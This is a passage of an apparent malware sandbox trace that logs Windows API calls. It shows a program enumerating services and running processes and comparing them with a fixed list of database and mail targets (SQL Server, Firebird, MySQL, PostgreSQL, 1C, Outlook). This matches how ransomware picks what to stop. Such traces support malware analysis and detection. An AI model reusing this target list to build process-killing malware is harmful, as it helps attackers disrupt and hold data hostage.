(lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0031.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0031.928] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0031.928] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0031.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0031.928] lstrlenW (lpString="LanmanWorkstation") returned 17 [0031.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0031.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0031.928] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0031.928] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0031.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0031.928] lstrlenW (lpString="lmhosts") returned 7 [0031.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0031.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0031.928] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0031.928] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0031.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0031.928] lstrlenW (lpString="MMCSS") returned 5 [0031.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0031.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0031.928] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0031.928] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0031.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0031.928] lstrlenW (lpString="MpsSvc") returned 6 [0031.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0031.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0031.928] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0031.929] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0031.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0031.929] lstrlenW (lpString="Netman") returned 6 [0031.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0031.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0031.929] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0031.929] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0031.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0031.929] lstrlenW (lpString="netprofm") returned 8 [0031.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0031.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0031.929] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0031.929] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0031.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0031.929] lstrlenW (lpString="NlaSvc") returned 6 [0031.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0031.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0031.929] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0031.929] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0031.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0031.929] lstrlenW (lpString="nsi") returned 3 [0031.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0031.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0031.929] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0031.929] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0031.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0031.929] lstrlenW (lpString="PcaSvc") returned 6 [0031.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0031.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0031.929] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0031.929] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0031.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0031.929] lstrlenW (lpString="PlugPlay") returned 8 [0031.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0031.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0031.930] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0031.930] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0031.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0031.930] lstrlenW (lpString="Power") returned 5 [0031.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0031.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0031.930] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0031.930] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0031.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0031.930] lstrlenW (lpString="ProfSvc") returned 7 [0031.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0031.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0031.930] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0031.930] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0031.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0031.930] lstrlenW (lpString="RpcEptMapper") returned 12 [0031.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0031.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0031.930] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0031.930] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0031.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0031.930] lstrlenW (lpString="RpcSs") returned 5 [0031.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0031.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0031.930] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0031.930] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0031.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0031.930] lstrlenW (lpString="SamSs") returned 5 [0031.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0031.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0031.930] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0031.930] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0031.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0031.931] lstrlenW (lpString="Schedule") returned 8 [0031.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0031.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0031.931] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0031.931] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0031.931] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0031.931] lstrlenW (lpString="SENS") returned 4 [0031.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0031.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0031.931] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0031.931] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0031.931] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0031.931] lstrlenW (lpString="ShellHWDetection") returned 16 [0031.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0031.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0031.931] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0031.931] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0031.931] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0031.931] lstrlenW (lpString="Spooler") returned 7 [0031.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0031.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0031.931] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0031.931] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0031.931] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0031.931] lstrlenW (lpString="SysMain") returned 7 [0031.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0031.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0031.931] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0031.931] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0031.931] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0031.931] lstrlenW (lpString="Themes") returned 6 [0031.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0031.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0031.932] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0031.932] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0031.932] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0031.932] lstrlenW (lpString="TrkWks") returned 6 [0031.932] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0031.932] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0031.932] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0031.932] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0031.932] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0031.932] lstrlenW (lpString="UxSms") returned 5 [0031.932] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0031.932] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0031.932] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0031.932] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0031.932] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0031.932] lstrlenW (lpString="WdiServiceHost") returned 14 [0031.932] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0031.932] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0031.932] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0031.932] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0031.932] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0031.932] lstrlenW (lpString="WdiSystemHost") returned 13 [0031.932] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0031.932] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0031.932] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0031.932] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0031.932] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0031.932] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0031.932] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0031.932] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0031.932] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0031.932] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0031.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0031.933] lstrlenW (lpString="Winmgmt") returned 7 [0031.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0031.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0031.933] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0031.933] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0031.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0031.933] lstrlenW (lpString="WPDBusEnum") returned 10 [0031.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0031.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0031.933] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0031.933] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0031.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0031.933] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x28e4a0 | out: hHeap=0x220000) returned 1 [0031.933] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x118 [0031.935] Process32FirstW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0031.936] Process32NextW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0031.936] lstrlenW (lpString="System") returned 6 [0031.936] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0031.936] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0031.937] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0031.937] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0031.937] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0031.937] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0031.937] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0031.937] Process32NextW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0031.937] lstrlenW (lpString="smss.exe") returned 8 [0031.937] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0031.937] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0031.937] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0031.937] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0031.937] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0031.937] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0031.937] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0031.937] Process32NextW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0031.938] lstrlenW (lpString="csrss.exe") returned 9 [0031.938] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0031.938] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0031.938] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0031.938] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0031.938] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0031.938] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0031.938] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0031.938] Process32NextW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0031.939] lstrlenW (lpString="wininit.exe") returned 11 [0031.939] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0031.939] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0031.939] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0031.939] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0031.939] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0031.939] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0031.939] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0031.939] Process32NextW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0031.940] lstrlenW (lpString="csrss.exe") returned 9 [0031.940] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0031.940] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0031.940] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0031.940] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0031.940] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0031.940] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0031.940] Process32NextW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0031.940] lstrlenW (lpString="winlogon.exe") returned 12 [0031.940] Process32NextW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0031.941] lstrlenW (lpString="services.exe") returned 12 [0031.941] Process32NextW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0031.942] lstrlenW (lpString="lsass.exe") returned 9 [0031.942] Process32NextW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0031.942] lstrlenW (lpString="lsm.exe") returned 7 [0031.942] Process32NextW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0031.943] lstrlenW (lpString="svchost.exe") returned 11 [0031.943] Process32NextW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0031.943] lstrlenW (lpString="svchost.exe") returned 11 [0031.943] Process32NextW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0031.944] lstrlenW (lpString="svchost.exe") returned 11 [0031.944] Process32NextW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0031.945] lstrlenW (lpString="svchost.exe") returned 11 [0031.945] Process32NextW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0031.945] lstrlenW (lpString="svchost.exe") returned 11 [0031.945] Process32NextW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0031.946] lstrlenW (lpString="audiodg.exe") returned 11 [0031.946] Process32NextW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0031.946] lstrlenW (lpString="svchost.exe") returned 11 [0031.946] Process32NextW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0031.947] lstrlenW (lpString="svchost.exe") returned 11 [0031.947] Process32NextW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0031.948] lstrlenW (lpString="dwm.exe") returned 7 [0031.948] Process32NextW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0031.948] lstrlenW (lpString="explorer.exe") returned 12 [0031.948] Process32NextW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0031.949] lstrlenW (lpString="spoolsv.exe") returned 11 [0031.949] Process32NextW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0031.949] lstrlenW (lpString="taskhost.exe") returned 12 [0031.949] Process32NextW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0031.950] lstrlenW (lpString="svchost.exe") returned 11 [0031.950] Process32NextW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0031.950] lstrlenW (lpString="taskeng.exe") returned 11 [0031.950] Process32NextW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0031.951] lstrlenW (lpString="taskhost.exe") returned 12 [0031.951] Process32NextW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="presidential.exe")) returned 1 [0031.952] lstrlenW (lpString="presidential.exe") returned 16 [0031.952] Process32NextW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ol-filing.exe")) returned 1 [0031.952] lstrlenW (lpString="ol-filing.exe") returned 13 [0031.952] Process32NextW (in: hSnapshot=0x118, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, 